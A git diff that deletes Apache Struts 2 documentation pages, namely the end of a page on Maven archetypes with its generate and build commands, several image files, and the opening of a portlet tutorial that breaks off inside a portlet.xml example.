-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="core-developers-guide.html">Core Developers Guide</a>&nbsp;&gt;&nbsp;<a href="struts-2-maven-archetypes.html">Struts 2 Maven Archetypes</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Struts 2 Maven Archetypes</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=108820">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=108820">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=108820">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=108820">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=108820">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=108820">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><p>Struts 2 provides several <a shape="rect" class="external-link" href="http://maven.apache.org/">Maven</a> archetypes that create a starting point for our own applications.</p>
-
-<p><strong>Contents</strong></p>
-
-<style type="text/css">/*<![CDATA[*/
-div.rbtoc1488974174785 {padding: 0px;}
-div.rbtoc1488974174785 ul {list-style: none;margin-left: 0px;padding-left: 1em;}
-div.rbtoc1488974174785 li {margin-left: 0px;padding-left: 0px;}
-
-/*]]>*/</style><div class="toc-macro rbtoc1488974174785">
-<ul class="toc-indentation"><li><span class="TOCOutline">1</span> <a shape="rect" href="#Struts2MavenArchetypes-Quickstart">Quickstart</a></li><li><span class="TOCOutline">2</span> <a shape="rect" href="#Struts2MavenArchetypes-AvailableArchetypes">Available Archetypes</a>
-<ul class="toc-indentation"><li><span class="TOCOutline">2.1</span> <a shape="rect" href="#Struts2MavenArchetypes-TheBlankConventionArchetype(struts2-archetype-convention)">The Blank Convention Archetype (struts2-archetype-convention)</a></li><li><span class="TOCOutline">2.2</span> <a shape="rect" href="#Struts2MavenArchetypes-TheBlankArchetype(struts2-archetype-blank)">The Blank Archetype (struts2-archetype-blank)</a></li><li><span class="TOCOutline">2.3</span> <a shape="rect" href="#St [...]
-</li><li><span class="TOCOutline">3</span> <a shape="rect" href="#Struts2MavenArchetypes-CreatinganApplicationUsingaMavenArchetype">Creating an Application Using a Maven Archetype</a>
-<ul class="toc-indentation"><li><span class="TOCOutline">3.1</span> <a shape="rect" href="#Struts2MavenArchetypes-Stagingrepository">Staging repository</a></li><li><span class="TOCOutline">3.2</span> <a shape="rect" href="#Struts2MavenArchetypes-ArchetypeParameters">Archetype Parameters</a></li></ul>
-</li><li><span class="TOCOutline">4</span> <a shape="rect" href="#Struts2MavenArchetypes-CommandQuickReference">Command Quick Reference</a></li></ul>
-</div>
-
-<h2 id="Struts2MavenArchetypes-Quickstart">Quickstart</h2>
-
-<p>A recommended way to start with Struts2 archetypes is to work with the archetype catalog.</p>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-mvn archetype:generate -DarchetypeCatalog=http://struts.apache.org/
-</pre>
-</div></div>
-
-<h2 id="Struts2MavenArchetypes-AvailableArchetypes">Available Archetypes</h2>
-
-<h3 id="Struts2MavenArchetypes-TheBlankConventionArchetype(struts2-archetype-convention)">The Blank Convention Archetype (struts2-archetype-convention)</h3>
-
-<h4 id="Struts2MavenArchetypes-Features">Features</h4>
-
-<ul><li>Convention-based validation</li><li>Example actions</li><li>Package-level resource bundle</li><li>Unit-testing</li><li>Google AppEgine aware</li></ul>
-
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-mvn archetype:generate -B -DgroupId=com.mycompany.mysystem \
-							-DartifactId=myWebApp \
-							-DarchetypeGroupId=org.apache.struts \
-							-DarchetypeArtifactId=struts2-archetype-convention \
-							-DarchetypeVersion=&lt;CURRENT_STRUTS_VERSION&gt; \
-							-DremoteRepositories=http://struts.apache.org
-</pre>
-</div></div>
-
-<h3 id="Struts2MavenArchetypes-TheBlankArchetype(struts2-archetype-blank)">The Blank Archetype (struts2-archetype-blank)</h3>
-
-
-<p>The Struts 2 Blank Archetype ("blank-archetype") provides a minimal, but complete, Struts 2 application. It demonstrates some of the most basic Struts 2 concepts.</p>
-
-<h4 id="Struts2MavenArchetypes-Features.1">Features</h4>
-
-<ul><li>XML-based configuration, demonstrates including additional config file</li><li>Example actions</li><li>Package-level resource bundle</li><li>XML-based validation</li><li>Unit-testing</li></ul>
-
-<p>See the <a shape="rect" href="struts-2-blank-archetype.html">Struts 2 Blank Archetype</a> page for more information, including some basic Maven information, how to build and run the app, and basic application information.</p>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-mvn archetype:generate -B -DgroupId=com.mycompany.mysystem \
-							-DartifactId=myWebApp \
-							-DarchetypeGroupId=org.apache.struts \
-							-DarchetypeArtifactId=struts2-archetype-blank \
-							-DarchetypeVersion=&lt;CURRENT_STRUTS_VERSION&gt; \
-							-DremoteRepositories=http://struts.apache.org
-
-</pre>
-</div></div>
-
-
-<h3 id="Struts2MavenArchetypes-TheStarterArchetype(struts2-archetype-starter)">The Starter Archetype (struts2-archetype-starter)</h3>
-
-<p>The Starter archetype creates a more featured application using several common technologies used in production applications.</p>
-
-<h4 id="Struts2MavenArchetypes-Features.2">Features</h4>
-
-<ul><li>Sitemesh integration</li><li>Action example (instantiated both through Spring and Struts)</li><li>Spring integration</li><li>Validation example (action and action-alias level)</li><li>Conversion example (global and action level)</li><li>Resource bundle (both global, action and package level)</li></ul>
-
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-mvn archetype:generate -B -DgroupId=com.mycompany.mysystem \
-							-DartifactId=myWebApp \
-							-DarchetypeGroupId=org.apache.struts \
-							-DarchetypeArtifactId=struts2-archetype-starter \
-							-DarchetypeVersion=&lt;CURRENT_STRUTS_VERSION&gt; \
-							-DremoteRepositories=http://struts.apache.org
-</pre>
-</div></div>
-
-
-<h3 id="Struts2MavenArchetypes-TheAngularJSArchetype(struts2-archetype-angularjs)">The AngularJS Archetype (struts2-archetype-angularjs)</h3>
-
-<h4 id="Struts2MavenArchetypes-Features.3">Features</h4>
-
-<ul><li>Convention-based Action Configuration</li><li>Example actions with JSON Result</li><li>Example for AngularJS and Struts2 Integration</li></ul>
-
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-mvn archetype:generate -B -DgroupId=com.mycompany.mysystem \
-							-DartifactId=myWebApp \
-							-DarchetypeGroupId=org.apache.struts \
-							-DarchetypeArtifactId=struts2-archetype-angularjs \
-							-DarchetypeVersion=&lt;CURRENT_STRUTS_VERSION&gt; \
-							-DremoteRepositories=http://struts.apache.org
-</pre>
-</div></div>
-
-
-<h3 id="Struts2MavenArchetypes-ThePortletBlankArchetype(struts2-archetype-portlet)">The Portlet Blank Archetype (struts2-archetype-portlet)</h3>
-
-<p>The Portlet blank archetype creates a minimally populated JSR 168 portlet.</p>
-
-<h4 id="Struts2MavenArchetypes-Features.4">Features</h4>
-
-<ul><li>View, Edit, and Help mode examples</li><li>Simple form for preferences in Edit mode</li><li>Can be deployed as a servlet or portlet application</li><li>Can use Maven Jetty plugin to deploy with the pluto-embedded profile (usage 'mvn jetty:run -Ppluto-embedded', then access <a shape="rect" class="external-link" href="http://localhost:8080/" rel="nofollow">http://localhost:8080/</a>&lt;artifactId&gt;/pluto/index.jsp)</li></ul>
-
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-mvn archetype:generate -B -DgroupId=com.mycompany.mysystem \
-							-DartifactId=myWebApp \
-							-DarchetypeGroupId=org.apache.struts \
-							-DarchetypeArtifactId=struts2-archetype-portlet \
-							-DarchetypeVersion=&lt;CURRENT_STRUTS_VERSION&gt; \
-							-DremoteRepositories=http://struts.apache.org
-</pre>
-</div></div>
-
-
-<h3 id="Struts2MavenArchetypes-ThePortletDatabaseArchetype(struts2-archetype-dbportlet)">The Portlet Database Archetype (struts2-archetype-dbportlet)</h3>
-
-<p>The Portlet database archetype creates a simple JSR 168 portlet that displays the contents of a database table.</p>
-
-<h4 id="Struts2MavenArchetypes-Features.5">Features</h4>
-
-<ul><li>Uses Spring and Hsql to show a real database query</li><li>Builtin caching of query results</li><li>View, Edit, and Help mode examples</li><li>Simple form for preferences in Edit mode</li><li>Can be deployed as a servlet or portlet application</li><li>Can use Maven Jetty plugin to deploy as a servlet webapp</li></ul>
-
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-mvn archetype:generate -B -DgroupId=com.mycompany.mysystem \
-							-DartifactId=myWebApp \
-							-DarchetypeGroupId=org.apache.struts \
-							-DarchetypeArtifactId=struts2-archetype-dbportlet \
-							-DarchetypeVersion=&lt;CURRENT_STRUTS_VERSION&gt; \
-							-DremoteRepositories=http://struts.apache.org
-</pre>
-</div></div>
-
-<h3 id="Struts2MavenArchetypes-ThePluginArchetype(struts2-archetype-plugin)">The Plugin Archetype (struts2-archetype-plugin)</h3>
-
-<h4 id="Struts2MavenArchetypes-Features.6">Features</h4>
-
-<ul><li>Example new result type</li><li>Example XML-based configuration</li></ul>
-
-
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-mvn archetype:generate -B -DgroupId=com.mycompany.mysystem \
-							-DartifactId=myPlugin \
-							-DarchetypeGroupId=org.apache.struts \
-							-DarchetypeArtifactId=struts2-archetype-plugin \
-							-DarchetypeVersion=&lt;CURRENT_STRUTS_VERSION&gt; \
-							-DremoteRepositories=http://struts.apache.org
-</pre>
-</div></div>
-
-
-<h2 id="Struts2MavenArchetypes-CreatinganApplicationUsingaMavenArchetype">Creating an Application Using a Maven Archetype</h2>
-
-<p>Run the following command from your new project's parent directory. The project will be created in a sub-directory named after the <code>artifactId</code> parameter.</p>
-
-<p>The first two parameters, <code>groupId</code> and <code>artifactId</code>, should be set according to your needs:</p>
-
-<ul><li><code>groupId</code><br clear="none">
-  This should be the root package of your application, e.g., com.mycompany.myapp. </li><li><code>artifactId</code><br clear="none">
-  Names the project directory that will be created in the current directory.</li></ul>
-
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-mvn archetype:generate -B \
-                       -DgroupId=tutorial \
-                       -DartifactId=tutorial \
-                       -DarchetypeGroupId=org.apache.struts \
-                       -DarchetypeArtifactId=struts2-archetype-blank \
-                       -DarchetypeVersion=&lt;CURRENT_STRUTS_VERSION&gt;
-		       -DremoteRepositories=http://struts.apache.org
-</pre>
-</div></div>
-
-<p>where &lt;CURRENT_STRUTS_VERSION&gt; is archetype's version you want to use, eg. 2.3.15.1</p>
-
-<h3 id="Struts2MavenArchetypes-Stagingrepository">Staging repository</h3>
-<p>If the above command will fail because of missing archetypes in central repository, you can try to use staging repository like below</p>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-mvn archetype:generate -DarchetypeCatalog=https://repository.apache.org/content/repositories/snapshots/
-</pre>
-</div></div>
-
-<p>or this</p>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-mvn archetype:generate -DarchetypeCatalog=http://struts.apache.org/
-</pre>
-</div></div>
-
-<h3 id="Struts2MavenArchetypes-ArchetypeParameters">Archetype Parameters</h3>
-
-<p>The <code>-B</code> option runs <code>archetype:generate</code> in batch mode; it avoids a prompt to confirm our settings.</p>
-
-<div class="table-wrap"><table class="confluenceTable"><tbody><tr><th colspan="1" rowspan="1" class="confluenceTh"><p> Parameter </p></th><th colspan="1" rowspan="1" class="confluenceTh"><p> Description </p></th></tr><tr><td colspan="1" rowspan="1" class="confluenceTd"><p> <code>groupId</code> </p></td><td colspan="1" rowspan="1" class="confluenceTd"><p> The id for the group the application belongs to.  Usually is the root package for applications in your company, e.g. com.mycompany </p> [...]
-
-
-<h2 id="Struts2MavenArchetypes-CommandQuickReference">Command Quick Reference</h2>
-
-<p>These commands are used from the directory created by the archetype plugin (the project's sub-directory that was created in the previous step).</p>
-
-<ul><li>To build</li></ul>
-
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-   mvn install
-</pre>
-</div></div>
-
-<ul><li>To create IntelliJ IDEA project files</li></ul>
-
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-   mvn idea:idea
-</pre>
-</div></div>
-
-<ul><li>To create Eclipse project files</li></ul>
-
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-   mvn eclipse:eclipse -Dwtpversion=1.5
-</pre>
-</div></div>
-
-<ul><li>To run test cases</li></ul>
-
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-   mvn test
-</pre>
-</div></div>
-
-<ul><li>To clean up (removes generated artifacts)</li></ul>
-
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-   mvn clean
-</pre>
-</div></div>
-
-<ul><li>To package (creates a WAR file)</li></ul>
-
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-   mvn package
-</pre>
-</div></div>
-
-<ul><li>To grab necessary JAR files etc.</li></ul>
-
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-   mvn initialize
-</pre>
-</div></div>
-
-<ul><li>To run it with Jetty</li></ul>
-
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-   mvn jetty:run
-</pre>
-</div></div></div>
-        </div>
-
-                    <div class="tabletitle">
-                Children
-            <span class="smalltext" id="show" style="display: inline;">
-              <a href="javascript:showChildren()">Show Children</a></span>
-            <span class="smalltext" id="hide" style="display: none;">
-              <a href="javascript:hideChildren()">Hide Children</a></span>
-            </div>
-            <div class="greybox" id="children" style="display: none;">
-                                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                            </div>
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/struts-2-portlet-tutorial.data/AddBookmarkForm.jpg b/content/docs/struts-2-portlet-tutorial.data/AddBookmarkForm.jpg
deleted file mode 100644
index f8b0063..0000000
Binary files a/content/docs/struts-2-portlet-tutorial.data/AddBookmarkForm.jpg and /dev/null differ
diff --git a/content/docs/struts-2-portlet-tutorial.data/ListBookmarks.GIF b/content/docs/struts-2-portlet-tutorial.data/ListBookmarks.GIF
deleted file mode 100644
index e33580c..0000000
Binary files a/content/docs/struts-2-portlet-tutorial.data/ListBookmarks.GIF and /dev/null differ
diff --git a/content/docs/struts-2-portlet-tutorial.data/ListBookmarks.jpg b/content/docs/struts-2-portlet-tutorial.data/ListBookmarks.jpg
deleted file mode 100644
index 5c62d51..0000000
Binary files a/content/docs/struts-2-portlet-tutorial.data/ListBookmarks.jpg and /dev/null differ
diff --git a/content/docs/struts-2-portlet-tutorial.data/ListBookmarksInEditMode.jpg b/content/docs/struts-2-portlet-tutorial.data/ListBookmarksInEditMode.jpg
deleted file mode 100644
index 95d4096..0000000
Binary files a/content/docs/struts-2-portlet-tutorial.data/ListBookmarksInEditMode.jpg and /dev/null differ
diff --git a/content/docs/struts-2-portlet-tutorial.data/bookmark-portlet.zip b/content/docs/struts-2-portlet-tutorial.data/bookmark-portlet.zip
deleted file mode 100644
index bb310df..0000000
Binary files a/content/docs/struts-2-portlet-tutorial.data/bookmark-portlet.zip and /dev/null differ
diff --git a/content/docs/struts-2-portlet-tutorial.html b/content/docs/struts-2-portlet-tutorial.html
deleted file mode 100644
index 26897fb..0000000
--- a/content/docs/struts-2-portlet-tutorial.html
+++ /dev/null
@@ -1,725 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Struts 2 Portlet Tutorial</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="plugin-developers-guide.html">Plugin Developers Guide</a>&nbsp;&gt;&nbsp;<a href="portlet-plugin.html">Portlet Plugin</a>&nbsp;&gt;&nbsp;<a href="struts-2-portlet-tutorial.html">Struts 2 Portlet Tutorial</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Struts 2 Portlet Tutorial</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=71458">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=71458">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=71458">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=71458">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=71458">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=71458">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><h1 id="Struts2PortletTutorial-Struts2PortletTutorial-CreatingasimpleBookmarkPortlet">Struts 2 Portlet Tutorial - Creating a simple Bookmark Portlet</h1>
-
-<div class="confluence-information-macro confluence-information-macro-note"><p class="title">Work in progress</p><span class="aui-icon aui-icon-small aui-iconfont-warning confluence-information-macro-icon"></span><div class="confluence-information-macro-body">
-<p>Using version 2.1.1-SNAPSHOT of the portlet plugin</p></div></div>
-
-<div class="confluence-information-macro confluence-information-macro-information"><p class="title">Note that this tutorial assumes that you're familiar with basic Struts 2 web application programming.</p><span class="aui-icon aui-icon-small aui-iconfont-info confluence-information-macro-icon"></span><div class="confluence-information-macro-body">
-<p>If you have not used Struts 2 before, please check out some of the other Struts 2 tutorials first.</p></div></div>
-
-<h2 id="Struts2PortletTutorial-Preparations">Preparations</h2>
-<p>In this tutorial we will use eclipse as our IDE. If you do not have Eclipse, you can download it from <a shape="rect" class="external-link" href="http://www.eclipse.org" rel="nofollow">http://www.eclipse.org</a>. </p>
-
-<p>The project itself will be set up using Maven 2. Maven 2 is available from <a shape="rect" class="external-link" href="http://maven.apache.org">http://maven.apache.org</a>.</p>
-
-<p>If you have not used the maven-eclipse-plugin before, you need to set up the Eclipse workspace with a variable that points to the Maven 2 repository. To do this, type </p>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">mvn -Declipse.workspace=&lt;path-to-eclipse-workspace&gt; eclipse:add-maven-repo</pre>
-</div></div>
-
-<h2 id="Struts2PortletTutorial-Creatingtheproject">Creating the project</h2>
-<p>We'll use Maven 2 with the Struts 2 Portlet Archetype to create a skeleton project for our portlet application. From the command line, issue the command:</p>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">mvn archetype:create -DarchetypeGroupId=org.apache.struts -DarchetypeArtifactId=struts2-archetype-portlet -DarchetypeVersion=2.1.1-SNAPSHOT -DartifactId=bookmark-portlet 
-    -DgroupId=com.mycompany -DremoteRepositories=http://people.apache.org/repo/m2-snapshot-repository</pre>
-</div></div> 
-
-<p>This will set up the maven 2 structure for us and also set up the basic configuration needed to create a Struts 2 portlet. The archetype creates a sample HelloWorld portlet that shows off some of the basic principles of Struts 2 portlet programming. To test the set up, type </p>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">mvn jetty:run -P pluto-embedded</pre>
-</div></div>
-<p> in a command prompt. Open a browser and point your browser to <a shape="rect" class="external-link" href="http://localhost:8080/bookmark-portlet/pluto/index.jsp" rel="nofollow">http://localhost:8080/bookmark-portlet/pluto/index.jsp</a> and play around.</p>
-
-<h2 id="Struts2PortletTutorial-Lookingatthebasics">Looking at the basics</h2>
-<p>To see how the basic HelloWorld example works, let's look at some of the configuration files, starting with the JSR168 portlet descriptor</p>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>src/main/webapp/WEB-INF/portlet.xml</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-&lt;?xml version="1.0" encoding="UTF-8"?&gt;
-
-&lt;portlet-app
-   version="1.0"
-   xmlns="http://java.sun.com/xml/ns/portlet/portlet-app_1_0.xsd"
-   xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-   xsi:schemaLocation="http://java.sun.com/xml/ns/portlet/portlet-app_1_0.xsd http://java.sun.com/xml/ns/portlet/portlet-app_1_0.xsd"
-   id="bookmark-portlet"&gt;
-
-   &lt;portlet id="HelloPortlet"&gt;
-      &lt;description xml:lang="EN"&gt;Simple hello world portlet&lt;/description&gt;
-      &lt;portlet-name&gt;HelloPortlet&lt;/portlet-name&gt;
-      &lt;display-name xml:lang="EN"&gt;bookmark-portlet&lt;/display-name&gt;
-		
-      &lt;portlet-class&gt;org.apache.struts2.portlet.dispatcher.Jsr168Dispatcher&lt;/portlet-class&gt;
-		
-      &lt;!-- The namespace for the actions configured for view mode --&gt;
-      &lt;init-param&gt;
-         &lt;name&gt;viewNamespace&lt;/name&gt;
-         &lt;value&gt;/view&lt;/value&gt;
-      &lt;/init-param&gt;
-		
-      &lt;!-- The default action to invoke in view mode. --&gt;
-      &lt;init-param&gt;
-         &lt;name&gt;defaultViewAction&lt;/name&gt;
-         &lt;value&gt;index&lt;/value&gt;
-      &lt;/init-param&gt;
-		
-      &lt;!-- The namespace for the actions configured for edit mode --&gt;
-      &lt;init-param&gt;
-         &lt;name&gt;editNamespace&lt;/name&gt;
-         &lt;value&gt;/edit&lt;/value&gt;
-      &lt;/init-param&gt;
-		
-      &lt;!-- The default action to invoke in edit mode. --&gt;
-      &lt;init-param&gt;
-         &lt;name&gt;defaultEditAction&lt;/name&gt;
